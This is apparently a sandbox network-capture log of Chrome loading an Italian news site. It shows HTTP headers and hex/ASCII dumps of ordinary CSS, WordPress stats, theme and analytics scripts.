2024-03-28 08:51:02 UTC	1500	IN	Data Raw: 70 69 61 7b 70 61 64 64 69 6e 67 2d 6c 65 66 74 3a 31 36 70 78 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 31 36 70 78 7d 2e 5f 32 70 69 62 7b 70 61 64 64 69 6e 67 2d 6c 65 66 74 3a 32 30 70 78 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 32 30 70 78 7d 2e 5f 32 6f 31 6d 7b 70 61 64 64 69 6e 67 2d 6c 65 66 74 3a 32 34 70 78 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 32 34 70 78 7d 2e 5f 32 6f 31 6e 7b 70 61 64 64 69 6e 67 2d 6c 65 66 74 3a 33 36 70 78 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 33 36 70 78 7d 2e 5f 69 6b 79 7b 70 61 64 64 69 6e 67 2d 74 6f 70 3a 30 7d 2e 5f 32 70 69 63 7b 70 61 64 64 69 6e 67 2d 74 6f 70 3a 34 70 78 7d 2e 5f 32 70 69 64 7b 70 61 64 64 69 6e 67 2d 74 6f 70 3a 38 70 78 7d 2e 5f 32 70 69 65 7b 70 61 64 64 69 6e 67 2d 74 Data Ascii: pia{padding-left:16px;padding-right:16px}._2pib{padding-left:20px;padding-right:20px}._2o1m{padding-left:24px;padding-right:24px}._2o1n{padding-left:36px;padding-right:36px}._iky{padding-top:0}._2pic{padding-top:4px}._2pid{padding-top:8px}._2pie{padding-t
2024-03-28 08:51:02 UTC	1500	IN	Data Raw: 74 74 65 78 74 2c 2e 69 6e 70 75 74 70 61 73 73 77 6f 72 64 7b 70 61 64 64 69 6e 67 2d 62 6f 74 74 6f 6d 3a 34 70 78 7d 2e 69 6e 70 75 74 74 65 78 74 3a 69 6e 76 61 6c 69 64 2c 2e 69 6e 70 75 74 70 61 73 73 77 6f 72 64 3a 69 6e 76 61 6c 69 64 7b 62 6f 78 2d 73 68 61 64 6f 77 3a 6e 6f 6e 65 7d 2e 69 6e 70 75 74 72 61 64 69 6f 7b 6d 61 72 67 69 6e 3a 30 20 35 70 78 20 30 20 30 3b 70 61 64 64 69 6e 67 3a 30 3b 76 65 72 74 69 63 61 6c 2d 61 6c 69 67 6e 3a 6d 69 64 64 6c 65 7d 2e 69 6e 70 75 74 63 68 65 63 6b 62 6f 78 7b 62 6f 72 64 65 72 3a 30 3b 76 65 72 74 69 63 61 6c 2d 61 6c 69 67 6e 3a 6d 69 64 64 6c 65 7d 2e 69 6e 70 75 74 62 75 74 74 6f 6e 2c 2e 69 6e 70 75 74 73 75 62 6d 69 74 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 34 32 36 37 62 32 Data Ascii: ttext,.inputpassword{padding-bottom:4px}.inputtext:invalid,.inputpassword:invalid{box-shadow:none}.inputradio{margin:0 5px 0 0;padding:0;vertical-align:middle}.inputcheckbox{border:0;vertical-align:middle}.inputbutton,.inputsubmit{background-color:#4267b2
2024-03-28 08:51:02 UTC	1500	IN	Data Raw: 5f 32 2d 6a 7a 7b 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 30 7d 2e 5f 33 2d 38 5f 7b 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 34 70 78 7d 2e 5f 33 2d 39 30 7b 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 38 70 78 7d 2e 5f 33 2d 39 31 7b 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 31 32 70 78 7d 2e 5f 33 2d 39 32 7b 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 31 36 70 78 7d 2e 5f 33 2d 39 33 7b 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 32 30 70 78 7d 2e 5f 79 38 74 7b 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 32 34 70 78 7d 2e 5f 35 65 6d 6b 7b 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 30 7d 2e 5f 33 2d 39 34 7b 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 34 70 78 7d 2e 5f 33 2d 39 35 7b 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 38 70 78 7d 2e 5f 33 2d 39 36 7b 6d 61 72 67 69 6e 2d Data Ascii: _2-jz{margin-right:0}._3-8_{margin-right:4px}._3-90{margin-right:8px}._3-91{margin-right:12px}._3-92{margin-right:16px}._3-93{margin-right:20px}._y8t{margin-right:24px}._5emk{margin-bottom:0}._3-94{margin-bottom:4px}._3-95{margin-bottom:8px}._3-96{margin-

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
43	192.168.2.4	49774	192.0.76.3	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-28 08:51:02 UTC	516	OUT	GET /e-202413.js HTTP/1.1 Host: stats.wp.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://bsnews.it/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-03-28 08:51:02 UTC	432	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 28 Mar 2024 08:51:02 GMT Content-Type: application/javascript Content-Length: 7329 Connection: close Vary: Accept-Encoding x-minify: t x-minify-cache: hit etag: W/14377-1704402356565.5398 Expires: Mon, 24 Mar 2025 21:31:08 GMT Cache-Control: max-age=31536000 Access-Control-Allow-Methods: GET, HEAD Access-Control-Allow-Origin: * X-nc: HIT dca Alt-Svc: h3=":443"; ma=86400
2024-03-28 08:51:02 UTC	937	IN	Data Raw: 77 69 6e 64 6f 77 2e 77 70 63 6f 6d 3d 77 69 6e 64 6f 77 2e 77 70 63 6f 6d 7c 7c 7b 7d 3b 77 69 6e 64 6f 77 2e 5f 73 74 71 3d 77 69 6e 64 6f 77 2e 5f 73 74 71 7c 7c 5b 5d 3b 66 75 6e 63 74 69 6f 6e 20 73 74 5f 67 6f 28 74 29 7b 77 69 6e 64 6f 77 2e 5f 73 74 71 2e 70 75 73 68 28 5b 22 76 69 65 77 22 2c 74 5d 29 7d 3b 66 75 6e 63 74 69 6f 6e 20 6c 69 6e 6b 74 72 61 63 6b 65 72 5f 69 6e 69 74 28 74 2c 65 29 7b 77 69 6e 64 6f 77 2e 5f 73 74 71 2e 70 75 73 68 28 5b 22 63 6c 69 63 6b 54 72 61 63 6b 65 72 49 6e 69 74 22 2c 74 2c 65 5d 29 7d 3b 77 69 6e 64 6f 77 2e 77 70 63 6f 6d 2e 73 74 61 74 73 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 74 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 74 2c 6e 3b 76 61 72 20 6f 3d 66 75 6e 63 74 69 6f 6e 28 74 2c 65 2c Data Ascii: window.wpcom=window.wpcom\|\|{};window._stq=window._stq\|\|[];function st_go(t){window._stq.push(["view",t])};function linktracker_init(t,e){window._stq.push(["clickTrackerInit",t,e])};window.wpcom.stats=function(){var t=function(){var t,n;var o=function(t,e,
2024-03-28 08:51:02 UTC	1369	IN	Data Raw: 6a 65 63 74 22 21 3d 3d 74 79 70 65 6f 66 20 65 29 72 65 74 75 72 6e 3b 77 68 69 6c 65 28 22 41 22 21 3d 3d 65 2e 6e 6f 64 65 4e 61 6d 65 29 7b 69 66 28 22 75 6e 64 65 66 69 6e 65 64 22 3d 3d 3d 74 79 70 65 6f 66 20 65 2e 6e 6f 64 65 4e 61 6d 65 29 72 65 74 75 72 6e 3b 69 66 28 22 6f 62 6a 65 63 74 22 21 3d 3d 74 79 70 65 6f 66 20 65 2e 70 61 72 65 6e 74 4e 6f 64 65 29 72 65 74 75 72 6e 3b 65 3d 65 2e 70 61 72 65 6e 74 4e 6f 64 65 7d 3b 69 66 28 66 28 65 29 29 72 65 74 75 72 6e 3b 69 66 28 22 6a 61 76 61 73 63 72 69 70 74 3a 22 3d 3d 3d 65 2e 70 72 6f 74 6f 63 6f 6c 29 72 65 74 75 72 6e 3b 77 69 6e 64 6f 77 2e 5f 73 74 71 2e 70 75 73 68 28 5b 22 63 6c 69 63 6b 22 2c 7b 73 3a 22 32 22 2c 75 3a 65 2e 68 72 65 66 2c 72 3a 22 75 6e 64 65 66 69 6e 65 64 22 21 Data Ascii: ject"!==typeof e)return;while("A"!==e.nodeName){if("undefined"===typeof e.nodeName)return;if("object"!==typeof e.parentNode)return;e=e.parentNode};if(f(e))return;if("javascript:"===e.protocol)return;window._stq.push(["click",{s:"2",u:e.href,r:"undefined"!
2024-03-28 08:51:02 UTC	1369	IN	Data Raw: 2e 65 66 66 65 63 74 69 76 65 54 79 70 65 7d 69 66 28 65 2e 72 74 74 29 7b 74 2e 63 6f 6e 6e 5f 72 74 74 3d 65 2e 72 74 74 7d 69 66 28 65 2e 64 6f 77 6e 6c 69 6e 6b 29 7b 74 2e 63 6f 6e 6e 5f 64 6f 77 6e 6c 69 6e 6b 3d 65 2e 64 6f 77 6e 6c 69 6e 6b 7d 7d 69 66 28 77 69 6e 64 6f 77 2e 70 65 72 66 6f 72 6d 61 6e 63 65 29 7b 76 61 72 20 6e 3d 77 69 6e 64 6f 77 2e 70 65 72 66 6f 72 6d 61 6e 63 65 3b 69 66 28 77 69 6e 64 6f 77 2e 50 65 72 66 6f 72 6d 61 6e 63 65 4e 61 76 69 67 61 74 69 6f 6e 54 69 6d 69 6e 67 29 7b 76 61 72 20 6f 3d 6e 2e 67 65 74 45 6e 74 72 69 65 73 42 79 54 79 70 65 28 22 6e 61 76 69 67 61 74 69 6f 6e 22 29 5b 30 5d 3b 69 66 28 6f 2e 6e 65 78 74 48 6f 70 50 72 6f 74 6f 63 6f 6c 29 7b 74 2e 70 72 6f 74 6f 63 6f 6c 3d 6f 2e 6e 65 78 74 48 6f Data Ascii: .effectiveType}if(e.rtt){t.conn_rtt=e.rtt}if(e.downlink){t.conn_downlink=e.downlink}}if(window.performance){var n=window.performance;if(window.PerformanceNavigationTiming){var o=n.getEntriesByType("navigation")[0];if(o.nextHopProtocol){t.protocol=o.nextHo
2024-03-28 08:51:02 UTC	1369	IN	Data Raw: 74 69 6f 6e 3b 66 2b 3d 31 7d 65 6c 73 65 20 69 66 28 22 63 73 73 22 3d 3d 3d 6a 29 7b 75 2b 3d 45 2e 64 75 72 61 74 69 6f 6e 3b 61 2b 3d 31 7d 65 6c 73 65 20 69 66 28 22 67 69 66 22 3d 3d 3d 6a 7c 7c 22 6a 70 67 22 3d 3d 3d 6a 7c 7c 22 6a 70 65 67 22 3d 3d 3d 6a 7c 7c 22 70 6e 67 22 3d 3d 3d 6a 29 7b 6c 2b 3d 45 2e 64 75 72 61 74 69 6f 6e 3b 64 2b 3d 31 7d 65 6c 73 65 20 69 66 28 22 77 6f 66 66 22 3d 3d 3d 6a 7c 7c 22 77 6f 66 66 32 22 3d 3d 3d 6a 7c 7c 22 74 74 66 22 3d 3d 3d 6a 7c 7c 22 6f 74 66 22 3d 3d 3d 6a 29 7b 6d 2b 3d 45 2e 64 75 72 61 74 69 6f 6e 3b 63 2b 3d 31 7d 65 6c 73 65 7b 77 2b 3d 45 2e 64 75 72 61 74 69 6f 6e 3b 73 2b 3d 31 7d 7d 65 6c 73 65 7b 77 2b 3d 45 2e 64 75 72 61 74 69 6f 6e 3b 73 2b 3d 31 7d 7d 74 2e 66 69 6c 65 73 5f 6f 72 69 Data Ascii: tion;f+=1}else if("css"===j){u+=E.duration;a+=1}else if("gif"===j\|\|"jpg"===j\|\|"jpeg"===j\|\|"png"===j){l+=E.duration;d+=1}else if("woff"===j\|\|"woff2"===j\|\|"ttf"===j\|\|"otf"===j){m+=E.duration;c+=1}else{w+=E.duration;s+=1}}else{w+=E.duration;s+=1}}t.files_ori
2024-03-28 08:51:02 UTC	1369	IN	Data Raw: 5f 75 69 3d 66 28 29 3b 74 2e 5f 75 74 3d 22 61 6e 6f 6e 22 3b 74 2e 5f 65 6e 3d 22 6a 65 74 70 61 63 6b 5f 70 61 67 65 76 69 65 77 5f 74 69 6d 69 6e 67 22 3b 76 61 72 20 65 3d 6e 65 77 20 44 61 74 65 3b 74 2e 5f 74 73 3d 65 2e 67 65 74 54 69 6d 65 28 29 3b 74 2e 5f 74 7a 3d 65 2e 67 65 74 54 69 6d 65 7a 6f 6e 65 4f 66 66 73 65 74 28 29 2f 36 30 3b 76 61 72 20 6e 3d 77 69 6e 64 6f 77 2e 6e 61 76 69 67 61 74 6f 72 3b 76 61 72 20 6f 3d 77 69 6e 64 6f 77 2e 73 63 72 65 65 6e 3b 74 2e 5f 6c 67 3d 6e 2e 6c 61 6e 67 75 61 67 65 3b 74 2e 5f 70 66 3d 6e 2e 70 6c 61 74 66 6f 72 6d 3b 74 2e 5f 68 74 3d 6f 2e 68 65 69 67 68 74 3b 74 2e 5f 77 64 3d 6f 2e 77 69 64 74 68 3b 76 61 72 20 69 3d 77 69 6e 64 6f 77 2e 70 61 67 65 58 4f 66 66 73 65 74 21 3d 3d 75 6e 64 65 66 Data Ascii: _ui=f();t._ut="anon";t._en="jetpack_pageview_timing";var e=new Date;t._ts=e.getTime();t._tz=e.getTimezoneOffset()/60;var n=window.navigator;var o=window.screen;t._lg=n.language;t._pf=n.platform;t._ht=o.height;t._wd=o.width;var i=window.pageXOffset!==undef
2024-03-28 08:51:02 UTC	916	IN	Data Raw: 69 63 6b 3a 66 75 6e 63 74 69 6f 6e 28 74 29 7b 6f 28 22 63 2e 67 69 66 22 2c 6e 28 74 29 2c 66 61 6c 73 65 29 7d 2c 63 6c 69 63 6b 54 72 61 63 6b 65 72 49 6e 69 74 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 6e 29 7b 74 2e 69 6e 69 74 28 65 2c 6e 29 7d 2c 73 61 6d 70 6c 65 50 65 72 66 6f 72 6d 61 6e 63 65 3a 66 75 6e 63 74 69 6f 6e 28 74 2c 65 2c 72 29 7b 69 66 28 21 77 69 6e 64 6f 77 2e 70 65 72 66 6f 72 6d 61 6e 63 65 29 7b 72 65 74 75 72 6e 7d 76 61 72 20 61 3d 7b 62 6c 6f 67 3a 74 2c 70 6f 73 74 3a 65 2c 62 6c 6f 67 5f 69 64 3a 74 2c 6a 65 74 70 61 63 6b 5f 76 65 72 73 69 6f 6e 3a 72 7d 3b 64 28 61 29 3b 69 28 61 29 3b 6f 28 22 74 2e 67 69 66 22 2c 6e 28 61 29 29 7d 7d 3b 76 61 72 20 73 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 74 79 70 65 6f Data Ascii: ick:function(t){o("c.gif",n(t),false)},clickTrackerInit:function(e,n){t.init(e,n)},samplePerformance:function(t,e,r){if(!window.performance){return}var a={blog:t,post:e,blog_id:t,jetpack_version:r};d(a);i(a);o("t.gif",n(a))}};var s=function(){return typeo

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
44	192.168.2.4	49784	172.67.169.22	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-28 08:51:02 UTC	686	OUT	GET /wp-content/plugins/td-cloud-library/assets/js/js_posts_autoload.min.js?ver=be262a20ca49ba5e513ad6176c77b975 HTTP/1.1 Host: bsnews.it Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://bsnews.it/2015/01/23/le-citta-piu-brutte-d-italia-brescia-al-nono-posto-in-classifica/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-03-28 08:51:02 UTC	696	IN	HTTP/1.1 200 OK Date: Thu, 28 Mar 2024 08:51:02 GMT Content-Type: application/javascript Transfer-Encoding: chunked Connection: close last-modified: Wed, 13 Mar 2024 20:02:13 GMT etag: W/"65f20645-1575" x-powered-by: PleskLin Cache-Control: max-age=14400 CF-Cache-Status: HIT Age: 4691 Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=RxnSLcujqEsZhJg6UV7bbVxU50yA9h0Z%2BlUfp2bQ5JcJoFDh4mmvS9KzLBKS2tnIP9cN3YsSyIIks2GrffSdvRNMvEq0%2B26LUE2CHkO7h3Lh6oRuMhIOkf3I%2FGM%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 86b66044bad5586c-IAD alt-svc: h3=":443"; ma=86400
2024-03-28 08:51:02 UTC	673	IN	Data Raw: 31 35 37 35 0d 0a 76 61 72 20 74 64 62 41 75 74 6f 6c 6f 61 64 3d 7b 7d 3b 0a 28 66 75 6e 63 74 69 6f 6e 28 67 2c 64 2c 6d 29 7b 76 61 72 20 70 3d 67 28 64 6f 63 75 6d 65 6e 74 29 2c 6b 3d 67 28 64 29 3b 74 64 62 41 75 74 6f 6c 6f 61 64 3d 7b 6f 72 69 67 69 6e 61 6c 5f 70 6f 73 74 5f 69 64 3a 6e 75 6c 6c 2c 6c 6f 61 64 65 64 5f 70 6f 73 74 73 3a 5b 5d 2c 69 73 5f 61 6a 61 78 5f 72 75 6e 6e 69 6e 67 3a 21 31 2c 69 6e 69 74 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 61 3d 67 28 22 23 74 64 62 2d 61 75 74 6f 6c 6f 61 64 2d 61 72 74 69 63 6c 65 22 29 3b 69 66 28 30 21 3d 3d 61 2e 6c 65 6e 67 74 68 29 7b 76 61 72 20 65 3d 61 2e 64 61 74 61 28 22 61 75 74 6f 6c 6f 61 64 22 29 2c 62 3d 61 2e 64 61 74 61 28 22 61 75 74 6f 6c 6f 61 64 2d 74 79 70 65 22 29 2c Data Ascii: 1575var tdbAutoload={};(function(g,d,m){var p=g(document),k=g(d);tdbAutoload={original_post_id:null,loaded_posts:[],is_ajax_running:!1,init:function(){var a=g("#tdb-autoload-article");if(0!==a.length){var e=a.data("autoload"),b=a.data("autoload-type"),
2024-03-28 08:51:02 UTC	1369	IN	Data Raw: 49 6e 74 28 6c 2c 31 30 29 29 3b 74 64 62 41 75 74 6f 6c 6f 61 64 2e 6c 6f 67 28 22 74 64 62 41 75 74 6f 6c 6f 61 64 20 73 63 72 6f 6c 6c 20 70 65 72 63 65 6e 74 3a 20 22 2b 64 2e 74 64 62 5f 70 5f 61 75 74 6f 6c 6f 61 64 5f 76 61 72 73 2e 61 75 74 6f 6c 6f 61 64 53 63 72 6f 6c 6c 50 65 72 63 65 6e 74 29 3b 62 3d 6d 2e 64 65 62 6f 75 6e 63 65 28 66 75 6e 63 74 69 6f 6e 28 29 7b 74 64 62 41 75 74 6f 6c 6f 61 64 2e 6c 6f 67 28 22 61 6a 61 78 20 61 75 74 6f 6c 6f 61 64 20 3e 20 73 63 72 6f 6c 6c 22 29 3b 69 66 28 21 30 21 3d 3d 74 64 62 41 75 74 6f 6c 6f 61 64 2e 69 73 5f 61 6a 61 78 5f 72 75 6e 6e 69 6e 67 29 7b 76 61 72 20 62 3d 31 30 30 2a 6b 2e 73 63 72 6f 6c 6c 54 6f 70 28 29 2f 28 70 2e 68 65 69 67 68 74 28 29 2d 6b 2e 68 65 69 67 68 74 28 29 29 2c 65 Data Ascii: Int(l,10));tdbAutoload.log("tdbAutoload scroll percent: "+d.tdb_p_autoload_vars.autoloadScrollPercent);b=m.debounce(function(){tdbAutoload.log("ajax autoload > scroll");if(!0!==tdbAutoload.is_ajax_running){var b=100*k.scrollTop()/(p.height()-k.height()),e
2024-03-28 08:51:02 UTC	1369	IN	Data Raw: 22 23 22 2b 62 2e 61 74 74 72 28 22 69 64 22 29 29 2c 0a 63 3d 28 66 2e 63 6f 6e 74 65 6e 74 44 6f 63 75 6d 65 6e 74 7c 7c 66 2e 63 6f 6e 74 65 6e 74 57 69 6e 64 6f 77 2e 64 6f 63 75 6d 65 6e 74 29 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 54 61 67 4e 61 6d 65 28 22 68 74 6d 6c 22 29 2c 6e 3d 6d 2e 64 65 62 6f 75 6e 63 65 28 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 61 3d 63 5b 30 5d 2e 6f 66 66 73 65 74 48 65 69 67 68 74 3b 74 64 62 41 75 74 6f 6c 6f 61 64 2e 6c 6f 67 28 22 73 65 74 48 65 69 67 68 74 3a 20 68 65 69 67 68 74 20 73 65 74 20 74 6f 3a 20 22 2b 61 29 3b 62 2e 68 65 69 67 68 74 28 61 29 7d 2c 31 30 29 3b 28 6e 65 77 20 65 28 66 75 6e 63 74 69 6f 6e 28 61 29 7b 61 2e 66 6f 72 45 61 63 68 28 66 75 6e 63 74 69 6f 6e 28 61 29 7b 74 64 62 41 75 Data Ascii: "#"+b.attr("id")),c=(f.contentDocument\|\|f.contentWindow.document).getElementsByTagName("html"),n=m.debounce(function(){var a=c[0].offsetHeight;tdbAutoload.log("setHeight: height set to: "+a);b.height(a)},10);(new e(function(a){a.forEach(function(a){tdbAu
2024-03-28 08:51:02 UTC	1369	IN	Data Raw: 7d 29 2e 65 61 63 68 28 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 66 3d 67 28 74 68 69 73 29 2c 63 3d 67 28 22 2e 74 64 2d 68 65 61 64 65 72 2d 6d 65 6e 75 2d 77 72 61 70 2e 74 64 2d 61 66 66 69 78 22 29 3b 63 3d 63 2e 6c 65 6e 67 74 68 3f 63 2e 6f 75 74 65 72 48 65 69 67 68 74 28 29 3a 30 3b 76 61 72 20 64 3d 67 28 22 23 77 70 61 64 6d 69 6e 62 61 72 22 29 3b 64 3d 64 2e 6c 65 6e 67 74 68 3f 64 2e 6f 75 74 65 72 48 65 69 67 68 74 28 29 3a 30 3b 63 3d 66 2e 6f 66 66 73 65 74 28 29 2e 74 6f 70 2d 28 63 2b 64 29 3b 76 61 72 20 6c 3d 0a 66 2e 6f 75 74 65 72 48 65 69 67 68 74 28 21 30 29 3b 64 3d 66 2e 64 61 74 61 28 22 70 6f 73 74 2d 75 72 6c 22 29 3b 76 61 72 20 68 3d 22 22 2c 6b 3d 66 2e 64 61 74 61 28 22 70 6f 73 74 2d 74 69 74 6c 65 22 29 3b 66 2e 69 Data Ascii: }).each(function(){var f=g(this),c=g(".td-header-menu-wrap.td-affix");c=c.length?c.outerHeight():0;var d=g("#wpadminbar");d=d.length?d.outerHeight():0;c=f.offset().top-(c+d);var l=f.outerHeight(!0);d=f.data("post-url");var h="",k=f.data("post-title");f.i
2024-03-28 08:51:02 UTC	721	IN	Data Raw: 6e 28 29 7b 67 28 22 2e 74 64 2d 6c 6f 61 64 65 72 2d 67 69 66 22 29 2e 72 65 6d 6f 76 65 43 6c 61 73 73 28 22 74 64 2d 6c 6f 61 64 65 72 2d 61 6e 69 6d 61 74 69 6f 6e 2d 73 74 61 72 74 22 29 2e 61 64 64 43 6c 61 73 73 28 22 74 64 2d 6c 6f 61 64 65 72 2d 61 6e 69 6d 61 74 69 6f 6e 2d 6d 69 64 22 29 7d 2c 35 30 29 7d 2c 5f 61 6a 61 78 4c 6f 61 64 69 6e 67 45 6e 64 3a 66 75 6e 63 74 69 6f 6e 28 61 29 7b 61 2e 66 69 6e 64 28 22 2e 74 64 2d 6c 6f 61 64 65 72 2d 67 69 66 22 29 2e 72 65 6d 6f 76 65 43 6c 61 73 73 28 22 74 64 2d 6c 6f 61 64 65 72 2d 61 6e 69 6d 61 74 69 6f 6e 2d 6d 69 64 22 29 2e 61 64 64 43 6c 61 73 73 28 22 74 64 2d 6c 6f 61 64 65 72 2d 61 6e 69 6d 61 74 69 6f 6e 2d 65 6e 64 22 29 3b 73 65 74 54 69 6d 65 6f 75 74 28 66 75 6e 63 74 69 6f 6e 28 Data Ascii: n(){g(".td-loader-gif").removeClass("td-loader-animation-start").addClass("td-loader-animation-mid")},50)},_ajaxLoadingEnd:function(a){a.find(".td-loader-gif").removeClass("td-loader-animation-mid").addClass("td-loader-animation-end");setTimeout(function(
2024-03-28 08:51:02 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
45	192.168.2.4	49778	146.59.136.188	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-28 08:51:02 UTC	523	OUT	GET /forumpa/fpa.js HTTP/1.1 Host: app.digitrend.it Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://bsnews.it/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-03-28 08:51:02 UTC	427	IN	HTTP/1.1 200 OK Date: Thu, 28 Mar 2024 08:51:02 GMT Server: Apache Last-Modified: Fri, 17 Jun 2022 17:45:47 GMT ETag: "2437-5e1a8530a472e" Accept-Ranges: bytes Content-Length: 9271 Content-Type: application/javascript X-Varnish: 386431566 Age: 0 Via: 1.1 varnish-v4 X-Cache: MISS Vary: Accept-Encoding, User-Agent Connection: close Accept-Ranges: bytes Set-Cookie: SRV=1\|ZgUve; path=/ Cache-control: private
2024-03-28 08:51:02 UTC	9271	IN	Data Raw: 2f 2f 20 27 75 73 65 20 73 74 72 69 63 74 27 3b 0d 0a 2f 2f 20 2f 2f 20 69 66 28 20 28 20 6e 65 77 20 44 61 74 65 28 29 2e 67 65 74 44 61 74 65 28 29 20 3e 20 32 30 20 26 26 20 6e 65 77 20 44 61 74 65 28 29 2e 67 65 74 44 61 74 65 28 29 20 3c 20 32 36 20 29 20 26 26 20 6e 65 77 20 44 61 74 65 28 29 2e 67 65 74 4d 6f 6e 74 68 28 29 20 3d 3d 20 35 20 29 20 7b 0d 0a 0d 0a 2f 2f 20 2f 2f 20 7d 20 65 6c 73 65 20 7b 0d 0a 2f 2f 20 20 20 20 20 2f 2f 20 41 6e 61 6c 79 74 69 63 73 0d 0a 2f 2f 20 20 20 20 20 76 61 72 20 61 6e 61 6c 79 74 69 63 73 20 3d 20 64 6f 63 75 6d 65 6e 74 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 27 73 63 72 69 70 74 27 29 3b 0d 0a 2f 2f 20 20 20 20 20 61 6e 61 6c 79 74 69 63 73 2e 73 72 63 20 3d 20 27 68 74 74 70 73 3a 2f 2f 77 77 77 2e Data Ascii: // 'use strict';// // if( ( new Date().getDate() > 20 && new Date().getDate() < 26 ) && new Date().getMonth() == 5 ) {// // } else {// // Analytics// var analytics = document.createElement('script');// analytics.src = 'https://www.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
46	192.168.2.4	49785	172.67.169.22	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-28 08:51:02 UTC	660	OUT	GET /wp-content/plugins/td-composer/legacy/Newspaper/js/tagdiv_theme.min.js?ver=12.6.5 HTTP/1.1 Host: bsnews.it Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://bsnews.it/2015/01/23/le-citta-piu-brutte-d-italia-brescia-al-nono-posto-in-classifica/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-03-28 08:51:02 UTC	691	IN	HTTP/1.1 200 OK Date: Thu, 28 Mar 2024 08:51:02 GMT Content-Type: application/javascript Transfer-Encoding: chunked Connection: close last-modified: Wed, 13 Mar 2024 20:02:00 GMT etag: W/"65f20638-270fc" x-powered-by: PleskLin Cache-Control: max-age=14400 CF-Cache-Status: HIT Age: 4510 Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=l0losAGKqXUI8Q0QkLfhsX4BAh6laDC0m99CIjp2sYey44JXEq1yxofSxWo4JK5sWiYlaSPCsyz7yoTGUYcfpNdcLTiQCDq7q3BWCsjp7BNaGFqX08kFd9haUvs%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 86b66044dd5282e4-IAD alt-svc: h3=":443"; ma=86400
